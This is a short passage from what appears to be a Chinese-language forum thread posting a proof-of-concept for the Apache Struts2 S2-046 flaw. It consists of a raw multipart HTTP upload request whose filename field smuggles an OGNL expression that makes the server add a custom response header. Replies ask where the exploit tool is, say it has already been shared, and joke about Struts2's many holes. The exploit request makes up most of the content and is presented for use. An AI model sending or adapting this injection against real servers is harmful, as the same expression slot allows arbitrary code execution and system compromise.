ST2-046 POC

90_

POC

[PHP] 纯文本查看 复制代码

POST /doUpload.action HTTP/1.1
Host: localhost:8080
Content-Length: 10000000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z
Connection: close
 
------WebKitFormBoundaryAnmUgTEhFhOZpr9z
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"
Content-Type: text/plain
Kaboom 
 
------WebKitFormBoundaryAnmUgTEhFhOZpr9z--

jack2009

软件呢

verli

jack2009 发表于 2017-3-21 10:44
软件呢

软件呢，90大大早就将软件分享出来，你有没有留心去找那就是另一个问题了。

chensu99

昨晚才有人在群里讨论 我还以为是假的 这么快 真是万年漏洞王